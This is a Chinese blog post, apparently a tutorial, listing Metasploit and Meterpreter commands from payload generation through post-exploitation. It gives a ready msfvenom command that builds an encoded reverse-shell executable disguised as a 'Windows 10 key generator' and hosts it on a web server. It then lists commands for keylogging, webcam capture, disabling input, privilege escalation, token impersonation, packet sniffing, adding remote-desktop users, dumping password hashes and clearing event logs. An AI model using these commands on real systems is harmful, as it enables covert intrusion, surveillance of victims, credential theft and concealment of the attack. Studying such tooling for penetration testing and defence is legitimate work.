目录
一、攻击前期准备必会的命令(msf流程)
1、启动:msfdb run 或者 msfconsole
2、Payload生成:msfvenom
3、查找相关模块:search
4、选择使用模块:use
5、返回上一层:back
6、查看需要设置的参数:show options
7、设置攻击参数:set
8、开始监听(攻击):exploit 或者 run
9、退出:exit
二、成功建立会话后常用命令
1、信息搜集
2、硬件控制(关机、键盘、鼠标、摄像头等)
3、权限提取
4、模块使用(sniffer抓包、incognito伪造token)
5、远程桌面
6、其他(查看补丁信息、执行文件、导出密码、清除日志)
关于msf的实际应用请参考我之前的博客
基于MSF控制同一热点(局域网)下的其他设备:http://t.csdnimg.cn/DAeeK
CVE-2019-0708远程桌面服务远程执行代码漏洞复现:http://t.csdnimg.cn/3DROz
CVE-2017-0143永恒之蓝复现:http://t.csdnimg.cn/D8UQn
基于Metasploit利于msfvenom生成恶意软件获取shell:http://t.csdnimg.cn/Lo4Ic
本篇博客主要介绍msf攻击前期准备的常用命令,以及成功建立meterpreter之后的常用命令。
(主要从拿到普通用户权限和管理员权限进行测试对比分析)
一、攻击前期准备必会的命令(msf流程)
1、启动:msfdb run 或者 msfconsole
2、Payload生成:msfvenom
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.29.69 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/win10密钥生成器.exe
msfvenom命令参数:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
3、查找相关模块:search
search ms17-010 # 永恒之蓝
4、选择使用模块:use
use exploit/multi/handler # 很常用的一个模块
5、返回上一层:back
6、查看需要设置的参数:show options
其中yes为必须设置的参数,no为可选项
7、设置攻击参数:set
set payload windows/meterpreter/reverse_tcp # 针对Windows的一个常用攻击载荷
一般还需要设置监听IP(本地主机)和靶机的IP地址:即LHOST和RHOST
8、开始监听(攻击):exploit 或者 run
9、退出:exit
二、成功建立会话后常用命令
查看可执行的操作:help
1、信息搜集
getpid # 获取当前进程的pid
getuid # 查看权限
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程,kill <PID值> 杀死进程
idletime # 查看目标机闲置时间
shell # 进入目标机cmd shell
如果攻击的是不同操作系统则会出现乱码,我们需要切换编码,使用命令:chcp
控制台的页面编码有很多,常见的主要是65001和936
chcp 65001
2、硬件控制(关机、键盘、鼠标、摄像头等)
reboot / shutdown # 重启/关机
uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标
uictl disable mouse # 禁用鼠标
uictl disable keyboard # 禁用键盘
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照,配合参数-i 指定要使用的网络摄像头的索引号
webcam_stream # 通过摄像头开启视频,同样可以使用 -i 参数来指定调用的摄像头
3、权限提取
getsystem # 提权 普通用户使用该方式提权失败概率很高,相反管理员用户提权非常容易。
下面先以普通用户权限测试
可以看到getsystem提权失败
如果对方是以管理员身份运行我们的恶意程序,则可以提权成功:
4、模块使用(sniffer抓包、incognito伪造token)
use sniffer # 加载sniffer模块
sniffer_interfaces # 查看网卡
sniffer_start 2 # 选择网卡,开始抓包
sniffer_stats 2 # 查看状态
sniffer_dump 2 /tmp/lltest.pcap # 导出pcap数据包
sniffer_stop 2 # 停止抓包
use incognito # 加载incognito模块
list_tokens -u # 查看可用的token
我们先看普通用户权限下,根据告警提示可知我们无法伪造token
但是如果我们是管理员权限,就是可以的:
impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
或者 impersonate_token NT\ AUTHORITY\SYSTEM # 不加单引号需使用\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
(靶机会弹出cmd窗口,如果靶机将其关掉,cmd也会断开)
或者直接shell(靶机无任何提示)
rev2self # 返回原始token
5、远程桌面
run getgui –h # 查看帮助
run getgui -e # 开启远程桌面
run getgui -u lltest2 -p 123456 # 添加用户
run post/windows/manage/enable_rdp # 开启远程桌面
注意:在普通用户权限下是无法开启的,这里是管理员权限
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 # 添加用户
enumdesktops # 查看可用的桌面
getdesktop # 获取当前meterpreter 关联的桌面
set_desktop # 设置meterpreter关联的桌面 -h查看帮助
screenshot # 截屏
run vnc # 使用vnc远程桌面连接
6、其他(查看补丁信息、执行文件、导出密码、清除日志)
execute # 在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
run post/windows/gather/enum_patches # 查看补丁信息
run post/windows/gather/smart_hashdump # 从SAM导出密码哈希,需要SYSTEM权限
clearev # 清除windows中的应用程序日志、系统日志、安全日志
注意:这个也是需要管理员权限的